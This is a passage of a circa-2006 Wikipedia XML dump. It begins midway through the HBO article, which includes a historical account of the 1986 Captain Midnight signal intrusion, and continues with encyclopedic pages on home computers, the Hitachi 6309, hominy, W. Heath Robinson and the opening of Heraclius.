HBO also had a couple of joint ventures, first, with the formation of [[TriStar Pictures]] with [[Columbia Pictures]] and [[CBS]]. Columbia later bought the 2/3rds interest of the studio. Then, HBO merged its [[The Comedy Channel|Comedy Channel]] with [[Viacom]]'s HA! cable network to form [[Comedy Central]]. In 2003, Viacom bought HBO's half of the channel and merged it to its [[MTV Networks]] unit. In 2005, HBO and [[New Line Cinema]] launched [[Picturehouse]], an independent film distributor.

== Captain Midnight Attacks ==
Controversy erupted in the cable programming world in the mid-1980s as cable operators began scrambling their programming and charging fees to home satellite dish owners who accessed the same satellite signals cable operators received.  Many satellite dish owners were forced to purchase descrambling equipment at a cost of hundreds of dollars in addition to paying monthly or annual subscription fees to cable programming providers.  Programming costs for home dish owners were often higher than fees paid by cable subscribers, despite dish owners being responsible for owning and servicing their own equipment.

When HBO scrambled its signal, it offered subscriptions to home dish owners for $12.95 per month, which was either equal to or slightly higher than what cable subscribers paid.  Dish owners felt they were being asked to pay a price that was designed to be anti-competitive, and it triggered a national movement among dish owners to more strongly regulate the cable industry and force them to stop anti-competitive pricing.

While some dish owners called their elected officials, others took a more direct approach to send a message to the industry.

On the evening of [[April 27]], [[1986]] at 12:32am John R. MacDougall, a satellite TV dealer in [[Ocala, Florida]] was working at Central Florida Teleport, a company that uplinks services to satellites. He was overseeing the uplink of the movie ''[[Pee-wee's Big Adventure]]''. At the end of his shift he swung the dish back in to its storage position pointing directly upward which happened to be the location of [[Galaxy 1]], the [[satellite]] that carries HBO. As a protest against the introduction of high fees and scrambling equipment he transmitted a signal onto the satellite which overrode HBO's airing of [[The Falcon and the Snowman]].  The text message which appeared on the sets of HBO subscribers across the Eastern time zone:&lt;br&gt;

GOODEVENING HBO&lt;br&gt;
FROM CAPTAIN MIDNIGHT&lt;br&gt; 
$12.95/MONTH?&lt;br&gt;
NO WAY!&lt;br&gt;
(SHOWTIME/MOVIE CHANNEL BEWARE)&lt;br&gt;

MacDougall chose the name &quot;[[Captain Midnight]]&quot; from a movie he had recently seen, On the Air Live with Captain Midnight. After media pressure forced the [[Federal Communications Commission]] to act, MacDougall was charged and plea bargained a $5,000 fine and was placed on one year's probation.

==Slogans==
*[[1972]]: &quot;Different and First&quot;
*[[1978]]: &quot;Don't Miss HBO&quot;
*[[1982]]: &quot;Start with Us on HBO&quot;
*[[1983]]: &quot;There's No Place Like HBO&quot;
*[[1986]]: &quot;Let's All Get Together&quot;
*[[1989]]: &quot;Watch Us Here on HBO&quot;
**&quot;Simply The Best&quot;
*[[1990]]: &quot;We're HBO&quot;
*[[1993]]: &quot;We're Out of Town Today&quot;
*[[1997]]-present: &quot;It's Not TV, It's HBO&quot;
**&quot;Sunday is HBO&quot;

==Channels==
*[[Home Box Office|HBO]]
*[[HBO 2]]
*[[HBO Signature]]
*[[HBO Family]]
*[[HBO Comedy]]
*[[HBO Zone]]
*[[HBO Latino]]
*[[HBO On Demand]]

=== HBO HD ===
[[Image:HBO_HD.jpg|right]]'''HBO HD''' is a [[High-definition television|high definition]] [[simulcast]] of the primary [[HBO]] channel.

==HBO original programming==
[[Image:Poster 2.jpeg|right|thumb|Poster for the original HBO miniseries ''Band of Brothers''.]]
[[Image:Tv poster sex and the city.jpg|thumb|right|Poster for HBO's original series ''Sex and the City''.]]
[[Image:Sfu.PNG|thumb|right|Poster for HBO's original series ''Six Feet Under''.]]
The following is a list of original HBO programming that has appeared on the channel or is currently under production.
* ''[[1st &amp; Ten]]'' (1984&amp;ndash;1990)
* ''[[The Adventures of Tintin (TV series)|The Adventures of Tintin]]'' (1990)
* ''[[America Undercover]]'' (1983&amp;ndash;present)
* ''[[Angels in America]]'' (2003)
* ''[[Arliss]]'' (1996&amp;ndash;2003)
* ''[[Autopsy (TV series)|Autopsy]]'':  Hosted by [[Dr. Michael Baden]]. (1994&amp;ndash;2002)
* ''[[Band of Brothers]]'' (with the [[British Broadcasting Corporation|BBC]]) (2001)
* ''[[Big Love]]'' (2006&amp;ndash;present)
* ''[[Boxing After Dark]]''
* ''[[Carnivàle]]'' (2003&amp;ndash;2005)
* ''[[The Comeback (TV series)|The Comeback]]'' (2005)
* ''[[Cosmic Slop (film)]]'' (1994)
* ''[[Costas Now]]'' (2005&amp;ndash;present) (formerly ''On the Record with Bob Costas'' (2001&amp;ndash;2005)) 
* ''[[Curb Your Enthusiasm]]'' (2000&amp;ndash;present)
* ''[[Da Ali G Show]]'' (with [[Channel 4]]) (2003&amp;ndash;2005)
* ''[[Def Comedy Jam]]'' (1992&amp;ndash;1997)
* ''[[Def Poetry]]'' (2002&amp;ndash;present)
* ''[[Deadwood (television)|Deadwood]]'' (2004&amp;ndash;present)
* ''[[Dream On (Comedy)|Dream On]]'' (1990&amp;ndash;1996)
* ''[[Entourage (TV series)|Entourage]]'' (2004&amp;ndash;present)
* ''[[Extras (sitcom)|Extras]]'' (with the [[British Broadcasting Corporation|BBC]]) (2005&amp;ndash;present)
* ''[[Family Bonds]]'' (2004)
* ''[[Fraggle Rock]]'' (with [[Television South | TVS]] and [[Canadian Broadcasting Corporation | CBC]] (1983&amp;ndash;1987)
* ''[[From the Earth to the Moon (HBO)|From the Earth to the Moon]]'' (1998)
* ''[[Hardcore TV]]'' (1994)
* ''[[The Hitchhiker]]'' (1983-1990)
* ''[[Hysterical Blindness]]'' (2002)
* ''[[Inside the NFL]]'' (1977&amp;ndash;present)
* ''[[John Adams (miniseries)|John Adams]]'' (2007)
* ''[[K Street (television)|K Street]]'' (2003)
* ''[[The Larry Sanders Show]]'' (1992&amp;ndash;1998)
* ''[[Live From Baghdad (movie)|Live From Baghdad]]'' (2002)
* ''[[Mr. Show with Bob and David]]'' (1995&amp;ndash;1998)
* ''[[Norma Jean &amp; Marilyn]]'' (1996)
* ''[[Not Necessarily the News]]'' (1983&amp;ndash;1990)
* ''[[Oz (TV series)|Oz]]'' (1997&amp;ndash;2003)
* ''[[Perversions of Science]]'' (1997)
* ''[[Real Time with Bill Maher]]'' (2002&amp;ndash;present)
* ''[[Real Sex]]'' (2000)
* ''[[Real Sports]]'' (1995&amp;ndash;present)
* ''[[Rome (TV series)|Rome]]'' (with the [[British Broadcasting Corporation|BBC]]) (2005&amp;ndash;present)
* ''[[Sex and the City]]'' (1998&amp;ndash;2004)
* ''[[Sex Bytes]]''
* &quot;[[Sheer Perfection (miniseries)]]&quot; (2006)
* ''[[Six Feet Under]]'' (2001&amp;ndash;2005)
* ''[[Spawn (TV series)|Spawn]]'' (1997-1999)
* ''[[Sports of the 20th Century]]'' documentaries
* ''[[The Sopranos]]'' (1999&amp;ndash;present)
* ''[[The Storyteller]]'' (with Jim Henson) (1987&amp;ndash;1988)
* ''[[Tales from the Crypt (TV series)|Tales from the Crypt]]'' (1989&amp;ndash;1996)
* ''[[Tenacious D]]'' (1999)
* ''[[Tracey Takes On...]]'' (1996&amp;ndash;1999)
* ''[[Unscripted]]'' (2005)
* ''[[The Wire (television)|The Wire]]'' (2002&amp;ndash;present)
* ''[[World Championship Boxing]]'' (1977&amp;ndash;present)

==Movies==
HBO currently has exclusive deals with sister company [[Warner Bros.]], [[Dreamworks]] and [[Twentieth Century Fox]]. In addition, it holds partial pay-cable rights to movies produced by [[Sony Pictures]] (excluding those in partnership with [[Revolution Studios]]), and [[Universal Studios]] (along [[Rogue Pictures]] and [[Focus Features]]). Despite also being a sister company to HBO, some [[New Line Cinema]] films do not appear on HBO due to a prior output deal with competitor [[Starz!]].

As a result of these limited deals, HBO often fills its late-night schedule with recent B-movies (some of which were never released theatrically) produced by lesser-known independent companies.  On the other hand, HBO often shows sub-runs (that is, runs of films that have already received broadcast network/syndicated television releases) of theatrical films from [[Paramount Pictures]], Universal Pictures, and [[Lions Gate Films]].

In 2003, HBO acquired the exclusive pay-cable rights to ''[[Star Wars Episode II: Attack of the Clones]]'' from Fox and [[Lucasfilm, Ltd.]], and during its initial 18-month term of license aired the movie without it first seeing any pay-per-view cable release.  HBO also has pay-cable rights to its sequel, ''[[Star Wars Episode III: Revenge of the Sith|Revenge Of The Sith]]'' (ROTS will debut in the [[summer]] of [[2006]])--and will be able to become the first major cable network to run all six films (a deal to air the entire saga, including the revised DVD version of the original trilogy [IV, V, and VI] was made during negotiations for the pay-cable rights to ''Clones'').

HBO also has exclusive pay-cable rights to its own in-house theatrical films made under [[HBO Films]].

Usually films which HBO has pay-cable rights will also run on Cinemax during its time of license.

== Sports ==
HBO's first broadcast was of a [[New York Rangers]] / [[Vancouver Canucks]] game, transmitted to a [[CATV]] system in [[Wilkes Barre, Pennsylvania]] on November 8, 1972. HBO is known for its boxing matchups including those shown on [[HBO World Championship Boxing]]. In 1975, the &quot;[[Thrilla in Manila]]&quot; [[boxing]] match between [[Muhammad Ali]] and [[Joe Frazier]] aired on HBO and was the first program on the pay-cable network to air via satellite. In 1977, HBO launched ''[[Inside the NFL]]'', the channel's longest-running program. In 1978, HBO began airing coverage of Wimbledon and did so until 1998. Coverage has since moved to sister network [[TNT]] and later to [[NBC]]. HBO launched ''[[Boxing After Dark]]'' in 1997, showcasing some of boxing's newest talents. HBO currently operates [[HBO PPV]] (formally TVKO) to broadcast boxing matches to [[pay-per-view]] subscribers.

== Documentaries ==
In 2004, guided by human rights activist [http://www.ansarburney.org/chairman.html Ansar Burney], a HBO team used a hidden camera to document slavery and torture in secret desert camps where boys under the age of five were trained to race camels, a national sport in the United Arab Emirates (UAE). This half-hour investigative report exposed a carefully hidden child slavery ring that bought or kidnapped hundreds of young boys in Pakistan and Bangladesh. These boys were then forced to become camel jockeys in the UAE. The report also questioned the sincerity of U.S. diplomacy in pressuring an ally, the UAE, to comply with its own stated policy of banning the use of children under 15 from camel racing. 

The documentary won a Sports Emmy Award in 2004 for &quot;Outstanding Sports Journalism&quot; and the 2006 Alfred I. DuPont-Columbia University Award for outstanding broadcast journalism. It also brought world attention to the plight of child camel jockeys in the Middle East and helped [http://www.ansarburney.org/ Ansar Burney Trust] to convince the governments of Qatar and the UAE to end the use of children in this sport

== See also ==
* [[HBO Feature Presentation]]

==External links==
* [http://www.hbo.com/ Official Site]
*[http://www.hbo.com/hbohd/?ntrack_para1=leftnav_other1_4 HBO HD]
* [http://www.signaltonoise.net/library/captmidn.htm The Story of Captain Midnight]
* [http://www.macdougallelect.com/bio.html Captain Midnight on the web]

{{Time Warner}}

[[Category:1972 establishments]]
[[Category:HBO television network| ]]
[[Category:HD channels]]

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    </revision>
  </page>
  <page>
    <title>Henry IV</title>
    <id>13947</id>
    <revision>
      <id>42118209</id>
      <timestamp>2006-03-03T23:08:08Z</timestamp>
      <contributor>
        <username>Caljess</username>
        <id>1008433</id>
      </contributor>
      <minor />
      <comment>made mention of Enrico IV a live link to this entry</comment>
      <text xml:space="preserve">'''Henry IV''' can refer to
* [[Henry IV, Holy Roman Emperor]]
* [[Henry IV of England]]
* [[Henry IV of France]]
* [[Henry IV of Castile]]
* [[Henry IV, Duke of Breslau]]

or plays by [[William Shakespeare]]:
* [[Henry IV, part 1]]
* [[Henry IV, part 2]]

or a play by [[Luigi Pirandello]]:
*[[Enrico IV]]

{{disambig}}

[[es:Enrique IV]]
[[fr:Henri IV]]
[[it:Enrico IV]]
[[nl:Hendrik IV]]
[[pl:Henryk IV]]
[[ru:Генрих IV]]
[[fi:Henrik IV]]</text>
    </revision>
  </page>
  <page>
    <title>Head end</title>
    <id>13948</id>
    <revision>
      <id>15911532</id>
      <timestamp>2003-11-08T11:40:26Z</timestamp>
      <contributor>
        <ip>67.75.225.140</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cable television headend]]</text>
    </revision>
  </page>
  <page>
    <title>Headend</title>
    <id>13949</id>
    <revision>
      <id>15911533</id>
      <timestamp>2003-11-09T05:43:09Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cable television headend]]</text>
    </revision>
  </page>
  <page>
    <title>Home computer</title>
    <id>13950</id>
    <revision>
      <id>41529710</id>
      <timestamp>2006-02-27T23:41:01Z</timestamp>
      <contributor>
        <username>Frecklefoot</username>
        <id>4259</id>
      </contributor>
      <comment>/* Notable game consoles */ people, these are only consoles for the HOME COMPUTER era--removed post-HC era consoles</comment>
      <text xml:space="preserve">[[Image:TRS-80 Color Computer II.jpg|thumb|320px|TRS-80 Color Computer II]]
The '''home computer''' is a consumer-friendly word for the second generation of [[microcomputer]]s (the technical term that was previously used), entering the market in 1977 and becoming common during the 1980s. 

The home computer became affordable for the general public due to the mass production of the silicon chip based [[microprocessor]] and as the name indicates, tended to be used in the home rather than in business/industrial contexts (the name also marks the difference from the [[:Category:Early microcomputers|first generation]] of microcomputers (from 1974/75 onwards) which catered mostly to engineers and hobbyists with good [[soldering]] skills, as they were often sold as kits to be assembled by the customer). The home computer largely died out at the end of the decade (in the [[United States|U.S.]]) or in the early 1990s (in [[Europe]]) due to the rise of the [[IBM PC compatible]] [[personal computer]] (the IBM PC and its clones are not covered in this article).

==Concise history==

In a manner resembling the expansion of new animal forms in the [[Cambrian]] period, large numbers of new machines of all types, including such exotica as the [[Forth programming language|Forth]]-based [[Jupiter Ace|Jupiter ACE]] appeared on the market, and disappeared again. A few types remained for much longer, such as the [[BBC Micro]] and [[Commodore 64]] which still have a devoted following.  However by the end of the decade most were squeezed out between the [[IBM PC compatible|IBM compatible Personal Computer]] and the newer generations of [[video game console]]s because they each used their own incompatible formats.  The PC revolution was initiated by the August 1981 release of the [[IBM PC]] (its original designation actually being the quite anonymous, classic IBM-nomenclature, &quot;IBM 5150&quot;).

Many home computers were superficially similar, some having a very [[chiclet keyboard|cheap-to-manufacture keyboard]] integrated into the processor unit and displaying 20&amp;ndash;40 column text output on a home [[television]].  Many used ordinary and widely available [[compact audio cassette]]s as a (notoriously slow and sometimes unreliable) storage mechanism since [[floppy disk]] drives were very expensive at the time, especially in Europe (often a disk drive would be priced higher than the computer itself due to its more complicated mechanical construction, and thus, manufacturing cost).  All in all, cheapness was the order of the day for most of these machines, in order to get the prices low enough to encourage ordinary-income people to buy. A prime buyer segment were families with school-age children.

All modern desktop computers employ an [[operating system]] (OS) which acts as an interface between the operator and the computer's internal hardware ([[random access memory|memory]], [[central processing unit|CPU]], etc).  Home computers most often had their OS, of which one part was usually a [[BASIC programming language|BASIC]] [[interpreter (computer software)|interpreter]], stored in one or more [[Read-only memory|ROM]] chips.  The term [[software]] commonly denoted application programs sitting 'above' the OS to perform a specific task, e.g. [[wordprocessor|wordprocessors]] or [[computer games|games]]. As many older computers have become obsolete it has become popular amongst enthusiasts to enable one type of computer to emulate another via the use of [[Emulator|emulation software]]. Thus, many of the operating environments for the computers listed below can be recreated on a modern PC.

Home computers were mostly based on [[8-bit]] [[microprocessor]] technology, typically the [[MOS Technology]] [[MOS Technology 6502|6502]] or the [[Zilog Z80]]. A large variety of 8-bit home computers were designed and marketed during the early to mid-1980s. A notable exception was the TI-99 series, released in 1979 with a 16 bit [[TMS9900]] CPU.  These were then gradually supplanted by the PC (mostly the PC compatibles&amp;mdash;clones&amp;mdash;costing significantly less than the IBM PC) and the PC's competing [[Motorola 68000]]-based home/personal computers appearing from 1984 onwards. Some vendors attempted to prolong the market life of their 8-bit computers by price cuts and other means (see, for example, [[GEOS (8-bit operating system)|GEOS]]), but their era had ended. See the [[list of home computers by category]] for a comprehensive listing of most well-known home computers, divided by wordlength (8, 16-bit) and CPU architecture.

==Notable home computers==

The list below shows the '''most popular and/or historically significant home computers''' of the 1980s, their initial year of release, and their region/country of origin.  A plethora of home computers came out during this period, but most failed to have a significant impact on the market or the history of home computing and as such are not mentioned (this includes machines not sold/known outside its home market). Different models in a line of compatible computers are listed as a whole, such as the Apple II and TRS-80 families.

(For a comprehensive overview of home computers, i.e. not just the most notable ones given below, see the [[List of home computers]].)

* [[Apple II family|Apple II]] (June 1977, North America) (color graphics, eight expansion slots)
* [[TRS-80|Tandy Radio Shack TRS-80]] (August 1977, N. Am.) (first home computer for less than US$600)
* [[Commodore PET]] (December 1977, N. Am.) (first all-in-one computer: keyboard/screen/tape storage)
* [[Atari 8-bit family#Original 400/800 series|Atari 400/800]] ([[1979]], N. Am.) (first computer with custom chip set)
* [[Commodore VIC-20]] ([[1980]], N. Am.) (under US$300; first computer in the world to pass the one million sold mark)
* [[TRS-80 Color Computer]] ([[1980]], N. Am.) ([[Motorola 6809]], [[OS-9]] multi-user multi-tasking)
* [[Texas Instruments TI-99/4A]] (June 1981, N. Am., based on the less-successful TI-99/4) (First home computer with a [[Texas Instruments TMS9900|16-bit CPU]])
* [[Sinclair ZX81]] ([[1981]], Europe) (£49.95 in kit form; £69.95 pre-built) (released as [[Timex Sinclair 1000]] in US in [[1982]])
* [[BBC Micro]] ([[1981]], Europe) (premier educational computer in the UK for a decade; advanced [[BBC BASIC programming language|BASIC]])
* [[ZX Spectrum]] (April 1982, Europe) (best-selling British home computer; &quot;made&quot; the UK software industry)
* [[Commodore 64]] (August 1982, N. Am.) (best-selling computer model of all time: &gt; 20 million sold)
* [[MSX]] (late 1983, Japan) (a computer 'reference design'  by [[ASCII (company)|ASCII]] and [[Microsoft]], manufactured by several companies)
* [[Apple Macintosh]] ([[1984]], N. Am.) (first fully [[graphical user interface|GUI]]-based home/personal computer; first 16/32-bit)
* [[Amstrad|Amstrad/Schneider]] [[Amstrad CPC|CPC]] &amp; [[Amstrad PCW|PCW]] ranges (1984, Europe) (British std. prior to [[IBM PC]]; German sales next to [[Commodore 64|C64]])
* [[Atari ST]] (1985, N. Am.) (first with built-in [[Musical Instrument Digital Interface|MIDI]] interface; also 1[[Megabyte|MB]] [[random-access memory|RAM]] for less than US$1000)
* [[Commodore Amiga]] (July 1985, N. Am.) ([[Original Amiga chipset|custom chip set]] for graphics and sound; multitasking [[AmigaOS|OS]])
* [[Acorn Archimedes]] (1987, Europe) (based on the powerful Acorn-developed 32-bit [[ARM_architecture|ARM]] microprocessor)
&lt;!-----&gt;
&lt;!-- Almost totally unknown outside Japan, the only market for these machines:--&gt;
&lt;!-----&gt;
&lt;!-- [[NEC PC-8001]] ([[1979]], Japan) --&gt; &lt;!-- Changed this from the PC-8801, which was a CP/M machine from 1981, to the PC-8001. The Wikipedia article about the PC-8801 actually seems to describe the PC-8001, so perhaps that's where the confusion comes from. --&gt;
&lt;!-- [[Sharp X1]] ([[1982]], Japan) --&gt;
&lt;!-- [[Sharp X68000]] ([[1987]], Japan) --&gt;
&lt;!-- [[FM Towns]] ([[1989]], Japan) (A proprietry [[i386]]-based computer, not IBM-compatible) --&gt;
&lt;!-- Is this one actually a *1980s-era* *home* computer? --Wernher.  Does 1989 count? --ae-a --&gt;
&lt;!-- Sure it does! --Zilog Jones --&gt;
&lt;!-----&gt;

==Notable game consoles==

The list below includes the '''most popular and/or significant video game consoles of the home computer era''' and other superlatives.  Though not general purpose computers, many consoles competed for consumer money in the same market as the more low-end home computers (and used similar hardware, sometimes directly affecting the development of home computers).  This market was also flooded with several oddball or badly marketed systems that never achieved much success, and neither introduced any technical novelties; accordingly, those systems are not mentioned here.

(For a comprehensive overview of game consoles, i.e. not just the most notable ones given below, see the [[List of video game consoles]], which includes most game consoles up to the present.)

*[[Magnavox Odyssey]] ([[1972]]) (first console, only one without sound and color, all-analog){{ref|patents}}
*[[Fairchild Channel F]] ([[1976]]) (first microprocessor-based console, first one with sound, and color, first console to use cartridges)
*[[Atari 2600|Atari 2600 (aka Atari VCS)]] ([[1977]]) (first very successful console, largest video game library)
*[[Magnavox Odyssey²]] ([[1978]]) (aka Philips Videopac G7000) (first with full [[QWERTY]] [[membrane keyboard|keyboard]])
*[[Microvision|Milton Bradley Microvision]] ([[1979]]) (first [[handheld game console|handheld]] cartridge-based video game system; monochrome LCD screen)
*[[Mattel Intellivision]] ([[1980]]) (most direct competitor against Atari 2600; first 16-bit console albeit crude [[Atari 2600|Atari]]-like graphics; first console with Internet connection)
*[[Vectrex]] ([[1982]]) (only non-handheld console with built-in display screen, only one with real [[vector graphics]])
*[[Atari 5200]] ([[1982]]) (first video game console based upon a home computer)
*[[Colecovision]] ([[1982]]) (most popular 2nd-gen. 8-bit console, first with [[arcade game|arcade]]-quality graphics)
*[[Nintendo Entertainment System]] ([[1985]]) (most popular 3rd-gen. 8-bit console in the U.S.)
*[[Sega Master System]] ([[1986]]) (outsold the Nintendo Entertainment System in parts of Europe and Brazil)
*[[Sega Mega Drive]]/[[Sega Genesis|Genesis]] ([[1988]]/[[1989]]) (first successful 16-bit console)
*[[Game Boy|Nintendo Game Boy]] ([[1989]]) (first successful, and bestselling, handheld video game console)
*[[Atari Lynx]] ([[1989]]) (first color graphics, backlit [[LCD]] handheld, albeit a [[List of commercial failures in computer and video gaming|marketing flop]])
*[[Super Nintendo Entertainment System|Super Nintendo (SNES)]] ([[1991]]) (arguably the most advanced 16-bit console, top U.S. and worldwide 16-bit seller)

== Notes ==
# {{note|patents}} The patents registered for the Magnavox Odyssey, despite its all-[[analog electronics|analog electronic]] construction, affected Atari 2600, Mattel, Activision, Nintendo and several [[arcade game]] manufacturers)

== See also ==
*[[History of computing hardware (1960s-present)]]

== External links ==
*[http://pc-museum.com/ Rune's PC Museum]
*[http://www.retromadness.com/ Computer History Museum] &amp;ndash; An online museum of home computing and gaming
*[http://www.homecomputer.de/ HCM - Home Computer Museum]
*[http://arstechnica.com/articles/culture/total-share.ars/ &quot;Total share: 30 years of personal computer market share figures&quot;] &amp;ndash; From [[Ars Technica]]

[[Category:Home computers|*Home computer]]

[[da:Hjemmecomputer]]
[[de:Heimcomputer]]
[[es:Ordenador doméstico]]
[[fi:Kotitietokone]]
[[it:Home computer]]
[[ja:ホビーパソコン]]
[[nl:Homecomputer]]
[[pl:Komputer osobisty]]</text>
    </revision>
  </page>
  <page>
    <title>Hitachi 6309</title>
    <id>13951</id>
    <revision>
      <id>38008489</id>
      <timestamp>2006-02-03T15:43:37Z</timestamp>
      <contributor>
        <username>Lamune</username>
        <id>586184</id>
      </contributor>
      <text xml:space="preserve">[[Image:HD63C09EP.jpg|thumb|320px|Hitachi 63C09E, a 3MHz external clock version of the 6309]]
The '''6309''' is [[Hitachi, Ltd.|Hitachi's]] version of the [[Motorola 6809]] [[microprocessor]]. Compatible with the 6809, it added two new [[8-bit|eight-bit]] [[processor register|register]]s that could be added to form a second [[16-bit]] register, and all four eight-bit registers could form a [[32-bit]] register. The 6309 also featured division, some 32-bit arithmetic, additional bit manipulation instructions, and block move instructions, and was generally 30% faster in [[native mode]] than the 6809.

Surprisingly, this information was never published by Hitachi. The April 1988 issue of ''Oh! FM'', a Japanese magazine for Fujitsu personal computer users, contained the first description of the 6309's additional capabilities. Later, Hirotsugu Kakagawa posted details of the 6309's new features and instructions to comp.sys.m6809. This led to the development of [http://www.nitros9.org NitrOS9] for the [[Tandy Color Computer]] 3.

{{FOLDOC}}

{{Motorola processors}}

[[Category:Microprocessors]]

[[pl:Hitachi 6309]]</text>
    </revision>
  </page>
  <page>
    <title>Home Computers</title>
    <id>13952</id>
    <revision>
      <id>15911536</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Home computer]]
</text>
    </revision>
  </page>
  <page>
    <title>Hominy</title>
    <id>13953</id>
    <revision>
      <id>38376283</id>
      <timestamp>2006-02-05T22:53:45Z</timestamp>
      <contributor>
        <username>THB</username>
        <id>320771</id>
      </contributor>
      <text xml:space="preserve">'''Hominy''' or '''nixtamal''' is dried [[maize|maize (corn)]] kernels which have been treated with an [[alkali]] of some kind.  

The traditional  [[United States|U.S.]] version involves ''soaking'' dried corn in [[lye]]-water ([[sodium hydroxide]] or [[potassium hydroxide]] solution), traditionally derived from wood ash, until the germ is removed.  
Mexican recipes describe a preparation process consisting primarily of ''cooking'' in lime-water ([[calcium hydroxide]]).  In either case, the process is called [[nixtamalization]], and removes the germ and the hard outer hull from the kernels, making them more palatable, easier to digest, and easier to process.  It also alters the flavor in a way that many consider to be an improvement.

The process dates back nearly 10,000 years in ancient [[Mesoamerican]] cultures.
It affords several significant nutritional advantages over untreated maize products.  It converts some of the [[niacin]] (and possibly other [[B vitamins]]) into a form more absorbable by the body, improves the availability of the [[amino acids]], and (at least in the [[Agricultural_lime|lime]]-treated variant) supplements the calcium content, balancing maize's comparative excess of [[phosphorus]].

Some recipes using hominy include [[menudo (soup)|menudo]] (a spicy tripe and hominy soup), [[pozole]] (a stew of hominy and pork, chicken, prawns, or other meat), hominy bread, hominy chili, casseroles and fried dishes.  Hominy can be ground coarsely to make [[grits]], or into a fine mash (dough) to make [[masa]] for [[tamales]] and [[tortilla]]s.

Hominy can also be used as animal feed.

{{cookbookpar|Hominy recipe}}

==External links==
* The Mountain Laurel (2005). [http://www.mtnlaurel.com/Recipes/hominy.htm Homemade Hominy]. Retrieved June 18, 2005.
* Ha-pah-shu-tse (2005). [http://www.redcorn.com/about_hominy.html Hominey Products]. Retrieved June 18, 2005.

[[de:Maismehl]]

[[Category:Cereals]]
[[Category:Grains]]
[[Category:American cuisine]]
[[Category:Cuisine of the Southern United States]]
[[Category:Fruits and vegetables of Mexico]]</text>
    </revision>
  </page>
  <page>
    <title>Home computers</title>
    <id>13954</id>
    <revision>
      <id>15911538</id>
      <timestamp>2002-07-26T11:52:45Z</timestamp>
      <contributor>
        <ip>216.94.11.2</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT: [[Home computer]]</text>
    </revision>
  </page>
  <page>
    <title>W. Heath Robinson</title>
    <id>13955</id>
    <revision>
      <id>34345920</id>
      <timestamp>2006-01-08T08:28:39Z</timestamp>
      <contributor>
        <ip>24.130.254.249</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''William Heath Robinson''' ([[May 31]], [[1872]]&amp;ndash;[[September 13]], [[1944]]) was a [[United Kingdom|British]] [[cartoonist]] and [[illustrator]], who signed himself '''W. Heath Robinson'''. 

Born into a family of artists in [[London]], his early career was as a book illustrator, for example in [[Hans Christian Andersen]]'s ''Tales; The Arabian Nights'', (1899); ''Tales From Shakespeare'' (1902), and ''Twelfth Night'' (1908), [[Charles Kingsley]]'s ''The Water Babies'' (1915), and [[Walter de la Mare|Walter de la Mare's]] ''Peacock Pie'' (1916).

In the course of this however, he wrote and illustrated two children's books, ''The Adventures of Uncle Lubin'' (1902), and ''Bill the Minder'' (1912); these are regarded as the start of his career in the depiction of unlikely machines. During [[World War I]] he drew large numbers of cartoons, collected as ''Some &quot;Frightful&quot; War Pictures'' (1915), ''Hunlikely!'' (1916), and ''Flypapers'' (1919), depicting ever-more-unlikely secret weapons being used by the combatants. 
   
Besides these, he produced a steady stream of humorous drawings, for magazines and advertisements. In 1934, he published a collection of his favourites as ''Absurdities'', such as 
*&quot;The Wart Chair. A simple apparatus for removing a wart from the top of the head&quot;
*&quot;Resuscitating stale railway scones for redistribution at the station buffets&quot;
*&quot;The multimovement Tabby Silencer&quot;, which automatically threw water at serenading cats
Most of his cartoons have since been reprinted many times in multiple collections. 

The machines he drew were usually kept running by balding, bespectacled men in overalls. The machines were frequently powered by steam boilers or kettles, heated by candles or a spirit lamp; often there would be complex pulley arrangements, threaded by lengths of knotted string. Robinson's cartoons were so popular, that even to this day in Britain, the name &quot;Heath Robinson&quot; is used as shorthand for an improbable, rickety machine barely kept going by incessant tinkering. (The corresponding term in the U.S. is ''[[Rube Goldberg]]'', after an American cartoonist with an equal devotion to odd machinery.)

One of the automatic analysis machines built for [[Bletchley Park]] during [[World War II]] to assist in the decryption of German message traffic was named &quot;Heath Robinson&quot; in his honour. It was a direct predecessor to the [[Colossus computer|Colossus]], the world's first programmable digital electronic [[computer]].

== External links ==
*[http://www.heathrobinson.org The William Heath Robinson Trust]
*[http://www.liverpoolmuseums.org.uk/walker/exhibitions/heathrobinson Heath Robinson online exhibition]
*[http://www.surlalunefairytales.com/illustrations/illustrators/whrobinson.html SurLaLune Fairy Tale Pages: Fairy Tale Illustrations of William Heath Robinson]
*[http://www.nocloo.com/gallery2 Children's Book Illustrators Gallery - Large Archive of W.H Robinson illustrations]

[[Category:1872 births|Robinson, W. Heath]]
[[Category:1944 deaths|Robinson, W. Heath]]
[[Category:British cartoonists|Robinson, W. Heath]]
[[Category:British illustrators|Robinson, W. Heath]]</text>
    </revision>
  </page>
  <page>
    <title>Heraclius</title>
    <id>13956</id>
    <revision>
      <id>41748601</id>
      <timestamp>2006-03-01T13:35:53Z</timestamp>
      <contributor>
        <ip>71.70.172.4</ip>
      </contributor>
      <text xml:space="preserve">:''For the Patriarch of Jerusalem, see [[Patriarch Heraclius of Jerusalem]].''
[[Image:Solidus-Heraclius-sb0764.jpg|thumb|300px|Heraclius and his sons [[Constantine III (emperor)|Heraclius Constantine]] and [[Heraclonas]].]]
'''Flavius Heraclius [[Augustus (honorific)|Augustus]]''' (c. [[575]] - [[February 11]], [[641]]) was [[Byzantine Emperors|Byzantine Emperor]] from [[October 5]], [[610]] to [[February 11]], [[641]].

==Origins==

Heraclius' family was almost certainly of [[Armenians|Armenian]]{{ref|simocatta}} origins, though beyond that there is little specific information known about his ancestry.  He was the son and namesake of Heraclius (generally referred to retroactively as &quot;Heraclius the Elder&quot;), who had been one of Emperor [[Maurice (emperor)|Maurice]]'s key generals in the [[590]] war with [[Iran|Persia]]. After the war, Maurice appointed Heraclius the Elder to the position of [[Exarch]] of [[Africa (Roman province)|Africa]]. Though the younger Heraclius' birthplace is unknown, he grew up in Roman Africa; according to one tradition, he engaged in gladiatorial combat with lions as a youth.

==The revolt against Phocas and the accession of Heraclius==

